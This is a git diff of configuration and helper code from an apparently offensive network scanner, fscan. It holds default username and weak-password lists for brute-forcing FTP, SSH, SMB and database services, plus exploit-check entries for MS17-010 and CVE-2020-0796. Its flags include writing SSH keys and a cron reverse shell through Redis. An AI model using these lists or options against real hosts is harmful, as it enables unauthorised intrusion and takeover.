for a:=0;a<=255;a++{
|
||||||
for b := 0; b <= 255; b++ {
|
for b:=0;b<=255;b++{
|
||||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
|
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
|
||||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return AllIP, nil
|
return AllIP,nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func Readipfile(filename string) ([]string, error) {
|
func ParseIPE(ip string)([]string,error){
|
||||||
|
realIP:=ip[:len(ip)-2]
|
||||||
|
testIP:=net.ParseIP(realIP)
|
||||||
|
|
||||||
|
if testIP==nil{
|
||||||
|
return nil,ParseIPErr
|
||||||
|
}
|
||||||
|
IPrange:=strings.Join(strings.Split(realIP,".")[0:1],".")
|
||||||
|
var AllIP []string
|
||||||
|
for a:=0;a<=255;a++{
|
||||||
|
for b:=0;b<=255;b++{
|
||||||
|
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
|
||||||
|
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return AllIP,nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func Readipfile(filename string)([]string,error){
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err!=nil{
|
||||||
fmt.Println("Open %s error, %v", filename, err)
|
fmt.Println("Open %s error, %v", filename,err)
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
@@ -191,15 +176,16 @@ func Readipfile(filename string) ([]string, error) {
|
|||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
text := strings.TrimSpace(scanner.Text())
|
text := strings.TrimSpace(scanner.Text())
|
||||||
if text != "" {
|
if text != "" {
|
||||||
host, err := ParseIPs(text)
|
host,err := ParseIPs(text)
|
||||||
CheckErr(text, err)
|
CheckErr(text,err)
|
||||||
content = append(content, host...)
|
content=append(content,host...)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return content, nil
|
return content,nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func RemoveDuplicate(old []string) []string {
|
|
||||||
|
func RemoveDuplicate(old []string) ([]string) {
|
||||||
result := make([]string, 0, len(old))
|
result := make([]string, 0, len(old))
|
||||||
temp := map[string]struct{}{}
|
temp := map[string]struct{}{}
|
||||||
for _, item := range old {
|
for _, item := range old {
|
||||||
@@ -210,3 +196,4 @@ func RemoveDuplicate(old []string) []string {
|
|||||||
}
|
}
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+92
-86
@@ -1,102 +1,108 @@
|
|||||||
package common
|
package common
|
||||||
|
|
||||||
var Userdict = map[string][]string{
|
var Userdict = map[string][]string{
|
||||||
"ftp": {"www", "admin", "root", "db", "wwwroot", "data", "web", "ftp"},
|
"ftp": {"www","admin","root","db","wwwroot","data","web","ftp"},
|
||||||
"mysql": {"root"},
|
"mysql": {"root"},
|
||||||
"mssql": {"root", "sa"},
|
"mssql": {"root","sa"},
|
||||||
"smb": {"administrator", "guest"},
|
"smb": {"administrator","guest"},
|
||||||
"postgresql": {"postgres", "admin"},
|
"postgresql": {"postgres","admin"},
|
||||||
"ssh": {"root", "admin"},
|
"ssh": {"root","admin"},
|
||||||
"mongodb": {"root", "admin"},
|
"mongodb": {"root","admin"},
|
||||||
|
//"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
|
||||||
}
|
}
|
||||||
|
|
||||||
var Passwords = []string{"admin123A", "admin123", "123456", "admin", "root", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"}
|
var Passwords = []string{"admin123A","admin123","123456","admin","root","password","123123","654321","123","1","admin@123","Admin@123","{user}","{user}123","","P@ssw0rd!","qwa123","12345678","test","123qwe!@#","123456789","123321","666666","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1qaz@WSX","Aa123456","sysadmin","system","huawei"}
|
||||||
|
|
||||||
var PORTList = map[string]int{
|
var PORTList = map[string]int{
|
||||||
"ftp": 21,
|
"ftp": 21,
|
||||||
"ssh": 22,
|
"ssh": 22,
|
||||||
"mem": 11211,
|
"mem": 11211,
|
||||||
"mgo": 27017,
|
"mgo": 27017,
|
||||||
"mssql": 1433,
|
"mssql": 1433,
|
||||||
"psql": 5432,
|
"psql": 5432,
|
||||||
"redis": 6379,
|
"redis": 6379,
|
||||||
"mysql": 3306,
|
"mysql": 3306,
|
||||||
"smb": 445,
|
"smb": 445,
|
||||||
"ms17010": 1000001,
|
"ms17010": 1000001,
|
||||||
"cve20200796": 1000002,
|
"cve20200796":1000002,
|
||||||
"webtitle": 1000003,
|
"elastic": 9200,
|
||||||
"elastic": 9200,
|
"findnet": 135,
|
||||||
"findnet": 135,
|
"all":0,
|
||||||
"all": 0,
|
//"wenscan": 17010,
|
||||||
"portscan": 0,
|
|
||||||
"icmp": 0,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var PortlistBack = map[string]int{
|
var Outputfile = "result.txt"
|
||||||
"ftp": 21,
|
|
||||||
"ssh": 22,
|
|
||||||
"mem": 11211,
|
|
||||||
"mgo": 27017,
|
|
||||||
"mssql": 1433,
|
|
||||||
"psql": 5432,
|
|
||||||
"redis": 6379,
|
|
||||||
"mysql": 3306,
|
|
||||||
"smb": 445,
|
|
||||||
"ms17010": 1000001,
|
|
||||||
"cve20200796": 1000002,
|
|
||||||
"webtitle": 1000003,
|
|
||||||
"elastic": 9200,
|
|
||||||
"findnet": 135,
|
|
||||||
"all": 0,
|
|
||||||
"portscan": 0,
|
|
||||||
"icmp": 0,
|
|
||||||
}
|
|
||||||
|
|
||||||
var Outputfile = getpath() + "result.txt"
|
|
||||||
var IsSave = true
|
var IsSave = true
|
||||||
|
|
||||||
var DefaultPorts = "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,27017"
|
var DefaultPorts = "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017"
|
||||||
|
|
||||||
|
|
||||||
type HostInfo struct {
|
type HostInfo struct {
|
||||||
Host string
|
Host string
|
||||||
Ports string
|
HostFile string
|
||||||
Domain string
|
Ports string
|
||||||
Url string
|
Url string
|
||||||
Timeout int64
|
Timeout int64
|
||||||
WebTimeout int64
|
Scantype string
|
||||||
Scantype string
|
Isping bool
|
||||||
Command string
|
Threads int
|
||||||
Username string
|
Command string
|
||||||
Password string
|
Username string
|
||||||
Usernames []string
|
Password string
|
||||||
Passwords []string
|
Userfile string
|
||||||
|
Passfile string
|
||||||
|
Usernames []string
|
||||||
|
Passwords []string
|
||||||
|
Outputfile string
|
||||||
|
IsSave bool
|
||||||
|
RedisFile string
|
||||||
|
RedisShell string
|
||||||
}
|
}
|
||||||
|
|
||||||
type PocInfo struct {
|
|
||||||
Num int
|
|
||||||
Rate int
|
|
||||||
Timeout int64
|
|
||||||
Proxy string
|
|
||||||
PocName string
|
|
||||||
PocDir string
|
|
||||||
Target string
|
|
||||||
TargetFile string
|
|
||||||
RawFile string
|
|
||||||
Cookie string
|
|
||||||
ForceSSL bool
|
|
||||||
ApiKey string
|
|
||||||
CeyeDomain string
|
|
||||||
}
|
|
||||||
|
|
||||||
var TmpOutputfile string
|
|
||||||
var TmpSave bool
|
|
||||||
var IsPing bool
|
|
||||||
var Ping bool
|
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
|
||||||
var Pocinfo PocInfo
|
//const Username = "admin"
|
||||||
var IsWebCan bool
|
//const Password = "123456"
|
||||||
var RedisFile string
|
//const Timeout = 3 * time.Second
|
||||||
var RedisShell string
|
//const FTPPORT = 21
|
||||||
var Userfile string
|
//const SSHPORT = 22
|
||||||
var Passfile string
|
//const MEMCACHEDPORT = 11211
|
||||||
var HostFile string
|
//const MONGODBPORT = 27017
|
||||||
var Threads int
|
//const MSSQLPORT = 1433
|
||||||
|
//const OraclePORT = 1433
|
||||||
|
//const PSQLPORT = 5432
|
||||||
|
//const REDISPORT = 6379
|
||||||
|
//const MYSQLPORT = 3306
|
||||||
|
//const SMBPORT = 445
|
||||||
|
//const POSTGRESPORT = 5432
|
||||||
|
|
||||||
|
//var Userdict = map[string][]string{
|
||||||
|
// "ftp": []string{"www","admin","root","db","wwwroot","data","web","ftp"},
|
||||||
|
// "mysql": []string{"root"},
|
||||||
|
// "mssql": []string{"root","sa"},
|
||||||
|
// "smb": []string{"administrator","guest"},
|
||||||
|
// "postgresql": []string{"postgres","admin"},
|
||||||
|
// "ssh": []string{"root","admin"},
|
||||||
|
// "mongodb": []string{"root","admin"},
|
||||||
|
// //"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
|
||||||
|
//}
|
||||||
|
|
||||||
|
//var PluginList = map[string]interface{}{
|
||||||
|
// "ftp": FtpScan,
|
||||||
|
// "mysql": MysqlScan,
|
||||||
|
// //"mongodb":MgoConn,
|
||||||
|
// "mssql":MssqlScan,
|
||||||
|
// "redis": RedisScan,
|
||||||
|
// //"smb": SmbScan,
|
||||||
|
// "ssh": SshScan,
|
||||||
|
// //"portscan": PortConn,
|
||||||
|
// //"icmp": IcmpConn,
|
||||||
|
// "postgresql": PostgresScan,
|
||||||
|
// //"urlscan":UrlConn,
|
||||||
|
// //"auth":ApacheConn,
|
||||||
|
// //"subdomain":SDConn,
|
||||||
|
// //"memcached":MemConn,
|
||||||
|
//}
|
||||||
+27
-33
@@ -4,44 +4,38 @@ import (
|
|||||||
"flag"
|
"flag"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Banner() {
|
func Banner(){
|
||||||
banner := `
|
banner := `
|
||||||
|
|
||||||
___ _
|
___ _
|
||||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
/ _ \ ___ ___ _ __ __ _ ___| | __
|
||||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
/ /_\/____/ __|/ __| '__/ _`+"`"+` |/ __| |/ /
|
||||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
||||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
\____/ |___/\___|_| \__,_|\___|_|\_\
|
||||||
fscan version: 1.5.0
|
|
||||||
`
|
`
|
||||||
print(banner)
|
print(banner)
|
||||||
}
|
}
|
||||||
|
|
||||||
func Flag(Info *HostInfo) {
|
|
||||||
Banner()
|
|
||||||
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
|
||||||
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
|
||||||
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
|
|
||||||
flag.StringVar(&Info.Domain, "domain", "", "smb domain")
|
|
||||||
flag.StringVar(&Info.Username, "user", "", "username")
|
|
||||||
flag.StringVar(&Info.Password, "pwd", "", "password")
|
|
||||||
flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
|
|
||||||
flag.Int64Var(&Info.WebTimeout, "wt", 3, "Set web timeout")
|
|
||||||
flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
|
||||||
|
|
||||||
flag.IntVar(&Threads, "t", 200, "Thread nums")
|
|
||||||
flag.StringVar(&HostFile, "hf", "", "host file, -hs ip.txt")
|
|
||||||
flag.StringVar(&Userfile, "userf", "", "username file")
|
func Flag(Info *HostInfo) {
|
||||||
flag.StringVar(&Passfile, "pwdf", "", "password file")
|
Banner()
|
||||||
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
|
flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||||
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
|
flag.StringVar(&Info.HostFile,"hf","","host file, -hs ip.txt")
|
||||||
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
|
flag.StringVar(&Info.Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||||
flag.BoolVar(&IsPing, "np", false, "not to ping")
|
flag.StringVar(&Info.Command,"c","","exec command (ssh)")
|
||||||
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
|
flag.IntVar(&Info.Threads,"t",100,"Thread nums")
|
||||||
flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile")
|
flag.BoolVar(&Info.Isping,"np",false,"not to ping")
|
||||||
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
|
flag.BoolVar(&Info.IsSave,"no",false,"not to save output log")
|
||||||
flag.BoolVar(&LogErr, "debug", false, "debug mode will print more error info")
|
flag.StringVar(&Info.Username,"user","","username")
|
||||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
flag.StringVar(&Info.Userfile,"userf","","username file")
|
||||||
flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
flag.StringVar(&Info.Password,"pwd","","password")
|
||||||
flag.IntVar(&Pocinfo.Num, "Num", 20, "poc rate")
|
flag.StringVar(&Info.Passfile,"pwdf","","password file")
|
||||||
|
flag.StringVar(&Info.Outputfile,"o","result.txt","Outputfile")
|
||||||
|
flag.Int64Var(&Info.Timeout,"time",3,"Set timeout")
|
||||||
|
flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh")
|
||||||
|
flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ")
|
||||||
|
flag.StringVar(&Info.RedisFile,"rs","","redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
}
|
}
|
||||||
+35
-51
@@ -3,64 +3,48 @@ package common
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"time"
|
"sync"
|
||||||
)
|
)
|
||||||
|
|
||||||
var Results = make(chan string)
|
func LogSuccess(result string){
|
||||||
var Woker = 0
|
mutex := &sync.Mutex{}
|
||||||
var Start = true
|
mutex.Lock()
|
||||||
var LogSucTime int64
|
fmt.Println(result)
|
||||||
var LogErr bool
|
if IsSave {
|
||||||
var LogErrTime int64
|
WriteFile(result,Outputfile)
|
||||||
|
|
||||||
func LogSuccess(result string) {
|
|
||||||
Woker++
|
|
||||||
LogSucTime = time.Now().Unix()
|
|
||||||
if Start {
|
|
||||||
go SaveLog()
|
|
||||||
Start = false
|
|
||||||
}
|
}
|
||||||
Results <- result
|
mutex.Unlock()
|
||||||
}
|
}
|
||||||
|
func WriteFile(result string,filename string) {
|
||||||
func SaveLog() {
|
var text = []byte(result+"\n")
|
||||||
for result := range Results {
|
fl, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0777)
|
||||||
fmt.Println(result)
|
|
||||||
if IsSave {
|
|
||||||
WriteFile(result, Outputfile)
|
|
||||||
}
|
|
||||||
Woker--
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func WriteFile(result string, filename string) {
|
|
||||||
var text = []byte(result + "\n")
|
|
||||||
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0777)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("Open %s error, %v", filename, err)
|
fmt.Println(err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
defer fl.Close()
|
||||||
_, err = fl.Write(text)
|
_, err = fl.Write(text)
|
||||||
fl.Close()
|
if err!= nil{
|
||||||
if err != nil {
|
fmt.Println(err)
|
||||||
fmt.Println("write %s error, %v", filename, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func WaitSave() {
|
|
||||||
for {
|
|
||||||
if Woker == 0 {
|
|
||||||
close(Results)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func LogError(errinfo interface{}) {
|
|
||||||
if LogErr {
|
|
||||||
if (time.Now().Unix()-LogSucTime) > 10 && (time.Now().Unix()-LogErrTime) > 10 {
|
|
||||||
fmt.Println(errinfo)
|
|
||||||
LogErrTime = time.Now().Unix()
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
//err := ioutil.WriteFile(filename, text, 0666)
|
||||||
|
//if err!= nil{
|
||||||
|
// fmt.Println(err)
|
||||||
|
//}
|
||||||
|
//var f *os.File
|
||||||
|
//var err error
|
||||||
|
//if checkFileIsExist(filename) { //如果文件存在
|
||||||
|
// f, err = os.OpenFile(filename, os.O_APPEND, 0666) //打开文件
|
||||||
|
// fmt.Println("文件存在")
|
||||||
|
//} else {
|
||||||
|
// f, err = os.Create(filename) //创建文件
|
||||||
|
// fmt.Println("文件不存在")
|
||||||
|
//}
|
||||||
|
//func checkFileIsExist(filename string) bool {
|
||||||
|
// var exist = true
|
||||||
|
// if _, err := os.Stat(filename); os.IsNotExist(err) {
|
||||||
|
// exist = false
|
||||||
|
// }
|
||||||
|
// return exist
|
||||||
|
//}
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
module github.com/shadow1ng/fscan
|
|
||||||
|
|
||||||
go 1.15
|
|
||||||
|
|
||||||
require (
|
|
||||||
github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f // indirect
|
|
||||||
github.com/denisenkom/go-mssqldb v0.9.0
|
|
||||||
github.com/go-sql-driver/mysql v1.5.0
|
|
||||||
github.com/golang/protobuf v1.4.1
|
|
||||||
github.com/google/cel-go v0.4.2
|
|
||||||
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126
|
|
||||||
github.com/lib/pq v1.8.0
|
|
||||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
|
|
||||||
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582
|
|
||||||
golang.org/x/net v0.0.0-20200505041828-1ed23360d12c // indirect
|
|
||||||
golang.org/x/sys v0.0.0-20200501145240-bc7a7d42d5c3 // indirect
|
|
||||||
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84
|
|
||||||
google.golang.org/grpc v1.29.1 // indirect
|
|
||||||
gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776
|
|
||||||
)
|
|
||||||
@@ -1,120 +0,0 @@
|
|||||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
|
||||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
|
||||||
github.com/antlr/antlr4 v0.0.0-20190819145818-b43a4c3a8015/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y=
|
|
||||||
github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f h1:0cEys61Sr2hUBEXfNV8eyQP01oZuBgoMeHunebPirK8=
|
|
||||||
github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y=
|
|
||||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
|
||||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
|
||||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
|
||||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
|
||||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
|
||||||
github.com/denisenkom/go-mssqldb v0.9.0 h1:RSohk2RsiZqLZ0zCjtfn3S4Gp4exhpBWHyQ7D0yGjAk=
|
|
||||||
github.com/denisenkom/go-mssqldb v0.9.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
|
|
||||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
|
||||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
|
||||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
|
||||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
|
||||||
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
|
||||||
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
|
||||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
|
|
||||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
|
|
||||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
|
||||||
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
|
||||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
|
||||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
|
||||||
github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
|
||||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
|
||||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
|
||||||
github.com/golang/protobuf v1.4.1 h1:ZFgWrT+bLgsYPirOnRfKLYJLvssAegOj/hgyMFdJZe0=
|
|
||||||
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
|
|
||||||
github.com/google/cel-go v0.4.2 h1:Fx1DQPo05qFcDst4TwiGgFfmTjjHsLLbLYQGX67QYUk=
|
|
||||||
github.com/google/cel-go v0.4.2/go.mod h1:0pIisECLUDurNyQcYRcNjhGp0j/yM6v617EmXsBJE3A=
|
|
||||||
github.com/google/cel-spec v0.4.0/go.mod h1:2pBM5cU4UKjbPDXBgwWkiwBsVgnxknuEJ7C5TDWwORQ=
|
|
||||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
|
||||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
|
||||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
|
||||||
github.com/google/go-cmp v0.4.0 h1:xsAVV57WRhGj6kEIi8ReJzQlHHqcBYCElAvkovg3B/4=
|
|
||||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
|
||||||
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126 h1:ly2C51IMpCCV8RpTDRXgzG/L9iZXb8ePEixaew/HwBs=
|
|
||||||
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU=
|
|
||||||
github.com/lib/pq v1.8.0 h1:9xohqzkUwzR4Ga4ivdTcawVS89YSDVxXMa3xJX3cGzg=
|
|
||||||
github.com/lib/pq v1.8.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
|
||||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
|
||||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
|
||||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
|
||||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
|
|
||||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
|
|
||||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
|
||||||
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
|
|
||||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
|
||||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
|
||||||
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
|
||||||
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582 h1:0WDrJ1E7UolDk1KhTXxxw3Fc8qtk5x7dHP431KHEJls=
|
|
||||||
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582/go.mod h1:tCqSYrHVcf3i63Co2FzBkTCo2gdF6Zak62921dSfraU=
|
|
||||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
|
||||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
|
||||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
|
||||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
|
||||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
